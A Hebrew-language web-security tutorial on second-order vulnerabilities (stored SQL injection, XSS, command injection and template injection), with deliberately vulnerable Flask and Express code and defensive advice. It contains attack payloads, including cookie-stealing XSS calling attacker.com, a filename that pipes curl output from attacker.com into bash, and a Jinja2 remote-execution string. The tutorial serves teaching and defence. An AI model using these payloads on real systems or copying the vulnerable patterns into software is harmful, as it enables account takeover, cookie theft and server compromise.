לדלג לתוכן

חולשות מסדר שני - Second-Order Attacks

מבוא

חולשות מסדר שני הן חולשות שבהן ה-payload מוזרק בשלב אחד אבל מופעל בשלב אחר, לעיתים בהקשר שונה לחלוטין. זה הופך אותן לקשות מאוד לזיהוי - כי נקודת ההזרקה ונקודת ההפעלה מופרדות.

בחולשה רגילה (מסדר ראשון), ה-payload מוזרק ומופעל באותה בקשה. בחולשה מסדר שני:
1. ה-payload נשמר במערכת (מסד נתונים, קובץ, לוג)
2. בשלב מאוחר יותר, המערכת קוראת את הנתון השמור ומשתמשת בו בצורה לא בטוחה


הזרקת SQL מסדר שני - Second-Order SQLi

התרחיש

נניח שיש לנו מערכת רישום משתמשים:

# שלב 1 - הרשמה (הקלט נשמר בצורה בטוחה)
@app.route('/register', methods=['POST'])
def register():
    username = request.form['username']
    password = request.form['password']
    email = request.form['email']

    # שימוש ב-parameterized query - בטוח!
    cursor.execute(
        "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)",
        (username, hash_password(password), email)
    )
    db.commit()
    return "User registered successfully"
# שלב 2 - שינוי סיסמה (הקלט הישן נקרא ונשתמש בצורה לא בטוחה)
@app.route('/change-password', methods=['POST'])
def change_password():
    new_password = request.form['new_password']
    username = session['username']  # נקרא מהמסד - "בטוח"?

    # פגיע! שם המשתמש מהמסד מוכנס ישירות לשאילתה
    query = f"UPDATE users SET password='{hash_password(new_password)}' WHERE username='{username}'"
    cursor.execute(query)
    db.commit()
    return "Password changed"

התקיפה

שלב 1 - הרשמה עם שם משתמש זדוני:
    שם משתמש: admin'--
    סיסמה: anything

שלב 2 - ההרשמה מצליחה כי הקלט עובר parameterized query
    INSERT INTO users (username, password, email) VALUES ('admin''-- ', 'hash', 'evil@mail.com')

שלב 3 - התוקף מתחבר עם admin'-- ומשנה סיסמה
    השאילתה שנוצרת:
    UPDATE users SET password='new_hash' WHERE username='admin'-- '

    מה שקורה בפועל:
    UPDATE users SET password='new_hash' WHERE username='admin'
    (הערה מוחקת את שאר השאילתה)

שלב 4 - הסיסמה של admin השתנתה! התוקף יכול להתחבר כ-admin

דוגמה מלאה יותר

from flask import Flask, request, session
import sqlite3

app = Flask(__name__)
app.secret_key = 'secret'

def get_db():
    db = sqlite3.connect('app.db')
    return db

# הרשמה - בטוחה (parameterized)
@app.route('/register', methods=['POST'])
def register():
    db = get_db()
    username = request.form['username']
    password = request.form['password']

    # Parameterized - הקלט נשמר כמו שהוא, כולל תווים מיוחדים
    db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
               (username, password))
    db.commit()
    return "Registered!"

# צפייה בפרופיל - בטוחה
@app.route('/profile')
def profile():
    db = get_db()
    username = session['username']
    # Parameterized - בטוח
    user = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
    return f"Welcome {user[0]}"

# שינוי סיסמה - פגיע!
@app.route('/change-password', methods=['POST'])
def change_password():
    db = get_db()
    new_password = request.form['new_password']
    username = session['username']  # נקרא מה-session, שנקרא מהמסד

    # פגיע! string formatting עם ערך מהמסד
    query = f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'"
    db.execute(query)
    db.commit()
    return "Password changed!"

# רשימת משתמשים למנהל - פגיע!
@app.route('/admin/users')
def list_users():
    db = get_db()
    users = db.execute("SELECT username, email FROM users").fetchall()

    html = "<h1>Users</h1><table>"
    for user in users:
        # פגיע! שם המשתמש מוצג ללא escaping
        html += f"<tr><td>{user[0]}</td><td>{user[1]}</td></tr>"
    html += "</table>"
    return html

XSS מסדר שני - Second-Order XSS

התרחיש

ה-payload של XSS נשמר בפרופיל המשתמש ומופעל כשמשתמש אחר (או מנהל) צופה בו.

קוד פגיע

// שרת Node.js/Express

// עדכון פרופיל - הקלט נשמר
app.post('/profile/update', async (req, res) => {
    const { displayName, bio } = req.body;

    // הקלט נשמר כמו שהוא - אין סינון
    await User.updateOne(
        { _id: req.user.id },
        { displayName, bio }
    );

    res.json({ success: true });
});

// צפייה בפרופיל - הקלט מוצג
app.get('/user/:id', async (req, res) => {
    const user = await User.findById(req.params.id);

    // פגיע! הנתונים מהמסד מוכנסים ישירות ל-HTML
    res.send(`
        <h1>${user.displayName}</h1>
        <p>${user.bio}</p>
    `);
});

// פאנל ניהול - כל המשתמשים
app.get('/admin/users', async (req, res) => {
    const users = await User.find();

    let html = '<h1>All Users</h1><table>';
    for (const user of users) {
        // פגיע! שמות המשתמשים מוצגים ללא escaping
        html += `<tr><td>${user.displayName}</td><td>${user.email}</td></tr>`;
    }
    html += '</table>';
    res.send(html);
});

התקיפה

שלב 1 - עדכון פרופיל עם payload:
    displayName: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    bio: Normal bio text

שלב 2 - ה-payload נשמר במסד הנתונים

שלב 3 - כשמנהל צופה בפאנל הניהול, ה-JavaScript מופעל בדפדפן שלו
    -> Cookie של המנהל נשלח לתוקף

XSS מסדר שני דרך שם קובץ

# שלב 1 - העלאת קובץ עם שם זדוני
# שם הקובץ: "><img src=x onerror=alert(1)>.png

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    # שם הקובץ נשמר כמו שהוא
    filename = file.filename
    file.save(os.path.join('uploads', filename))
    db.execute("INSERT INTO files (name, user_id) VALUES (?, ?)",
               (filename, session['user_id']))
    return "File uploaded"

# שלב 2 - הצגת רשימת קבצים
@app.route('/files')
def list_files():
    files = db.execute("SELECT name FROM files WHERE user_id = ?",
                       (session['user_id'],)).fetchall()
    html = "<h1>Your Files</h1><ul>"
    for f in files:
        html += f"<li>{f[0]}</li>"  # פגיע! שם הקובץ מוצג ללא escaping
    html += "</ul>"
    return html

דוגמאות נוספות של חולשות מסדר שני

הזרקת פקודות מערכת הפעלה - Second-Order Command Injection

# שלב 1 - שמירת שם קובץ
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = file.filename  # נשמר כמו שהוא
    file.save(f'uploads/{filename}')
    db.execute("INSERT INTO files (name) VALUES (?)", (filename,))
    return "Uploaded"

# שלב 2 - עיבוד הקובץ (cronjob או פעולה מאוחרת)
def process_files():
    files = db.execute("SELECT name FROM files WHERE processed = 0").fetchall()
    for f in files:
        # פגיע! שם הקובץ מוכנס ישירות לפקודת מערכת
        os.system(f"convert uploads/{f[0]} processed/{f[0]}")
        db.execute("UPDATE files SET processed = 1 WHERE name = ?", (f[0],))

# שם קובץ זדוני:
# ;curl attacker.com/shell.sh|bash;.png
# או:
# $(whoami).png

SSTI מסדר שני

# שלב 1 - שמירת תבנית מייל מותאמת אישית
@app.route('/settings/email-template', methods=['POST'])
def save_template():
    template = request.form['template']
    # נשמר כמו שהוא
    db.execute("UPDATE settings SET email_template = ? WHERE user_id = ?",
               (template, session['user_id']))
    return "Template saved"

# שלב 2 - שליחת מייל (הפעלת התבנית)
def send_notification(user_id, data):
    template = db.execute(
        "SELECT email_template FROM settings WHERE user_id = ?", (user_id,)
    ).fetchone()[0]

    # פגיע! התבנית מהמסד מעובדת כ-Jinja2
    rendered = render_template_string(template, **data)
    send_email(rendered)

# payload בתבנית:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

זיהוי חולשות מסדר שני

אסטרטגיה

  1. מיפוי נקודות קלט ופלט - זהו כל מקום שנתון נשמר, וכל מקום שנתון שמור מוצג או משמש
  2. עקבו אחרי הנתונים - עקבו אחרי הנתיב של כל קלט: איפה הוא נשמר, ואיפה הוא נקרא בחזרה
  3. בדקו הקשרים שונים - payload שנשמר בהקשר אחד עשוי להיות מסוכן בהקשר אחר
  4. בדקו פעולות מנהל - מנהלים צופים בנתונים שמשתמשים רגילים שומרים

טכניקות בדיקה

שם משתמש: admin'--
שם משתמש: <script>alert(1)</script>
שם משתמש: {{7*7}}
שם משתמש: ${7*7}
שם משתמש: ;id;

שם קובץ: test;id;.txt
שם קובץ: test$(whoami).txt
שם קובץ: "><img src=x onerror=alert(1)>.txt

ביוגרפיה: <img src=x onerror=alert(document.cookie)>
ביוגרפיה: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

כלים לזיהוי

Burp Suite - שימוש ב-passive scanner שעוקב אחרי נתונים שמורים
OWASP ZAP - סריקה אקטיבית עם פרופיל second-order
ידני - Collaborator payloads בכל נקודת קלט ובדיקה לאורך זמן

אסטרטגיות ניצול מתקדמות

ניצול מעוכב בזמן

# payload שמופעל רק בפעולה מתוזמנת
# למשל - דוח יומי שנשלח למנהלים

# שלב 1 - שמירת payload בפרופיל
display_name = "<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>"

# שלב 2 - מחכים שהדוח היומי ייווצר ויישלח למנהל
# הדוח מכיל את שמות כל המשתמשים שנרשמו
# ה-XSS מופעל כשהמנהל פותח את הדוח

שרשור עם חולשות אחרות

1. Second-order SQLi -> חשיפת credentials -> גישה לפאנל ניהול
2. Second-order XSS -> גניבת cookie מנהל -> גישה לפאנל ניהול
3. Second-order SSTI -> RCE -> שליטה מלאה על השרת
4. Second-order Command Injection -> reverse shell

הגנה מפני חולשות מסדר שני

עקרון 1 - סינון בפלט, לא רק בקלט

# לא מספיק - סינון רק בקלט
def save_user(username):
    safe_name = sanitize(username)
    db.execute("INSERT INTO users VALUES (?)", (safe_name,))

# נדרש - סינון גם בפלט, בהתאם להקשר
def display_user(user_id):
    user = db.execute("SELECT username FROM users WHERE id = ?", (user_id,)).fetchone()

    # HTML context - escape HTML entities
    safe_name = html.escape(user[0])
    return f"<h1>{safe_name}</h1>"

עקרון 2 - קידוד מותאם הקשר

import html
import shlex
import re

def display_in_html(value):
    """להצגה בתוך HTML"""
    return html.escape(value)

def use_in_sql(value):
    """לשימוש בשאילתת SQL - תמיד parameterized"""
    # לעולם לא להשתמש ב-string formatting
    cursor.execute("SELECT * FROM users WHERE name = %s", (value,))

def use_in_command(value):
    """לשימוש בפקודת מערכת"""
    safe_value = shlex.quote(value)
    os.system(f"echo {safe_value}")

def use_in_template(value):
    """לשימוש בתבנית - להעביר כפרמטר"""
    return render_template('page.html', name=value)

def use_in_ldap(value):
    """לשימוש בפילטר LDAP"""
    special_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00'}
    for char, escape in special_chars.items():
        value = value.replace(char, escape)
    return value

עקרון 3 - שימוש עקבי ב-Parameterized Queries

# כל שאילתה חייבת להיות parameterized, גם אם הנתון "בטוח"
# כי הנתון "הבטוח" מהמסד עשוי להכיל payload מסדר שני

# פגיע
def change_password(username, new_password):
    query = f"UPDATE users SET password='{new_password}' WHERE username='{username}'"
    cursor.execute(query)

# בטוח
def change_password(username, new_password):
    cursor.execute(
        "UPDATE users SET password = %s WHERE username = %s",
        (new_password, username)
    )

עקרון 4 - אל תסמכו על נתונים מהמסד

# הנחה שגויה: "הנתון כבר עבר ולידציה כשנשמר"
# הנחה נכונה: "כל נתון, מכל מקור, עלול להיות מסוכן"

def process_data(user_id):
    user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone()
    username = user['username']

    # אפילו שזה בא מהמסד - להתייחס אליו כקלט לא אמין
    # ולבצע encoding/escaping בהתאם להקשר השימוש

סיכום

חולשות מסדר שני הן מהקשות ביותר לזיהוי ולתיקון. הנקודות העיקריות:

  • ה-payload נשמר בשלב אחד ומופעל בשלב אחר - לעיתים שעות או ימים אחרי
  • רוב הסורקים האוטומטיים לא מזהים אותן כי הם לא עוקבים אחרי נתונים שמורים
  • ההגנה דורשת סינון בפלט ולא רק בקלט - כל פעם שנתון מוצג או משמש, יש לבצע encoding מתאים להקשר
  • לעולם לא לסמוך על נתונים מהמסד - הם עשויים להכיל payloads שהוזרקו מוקדם יותר
  • שימוש עקבי ב-parameterized queries בכל שאילתה, גם כשהנתון נראה "בטוח"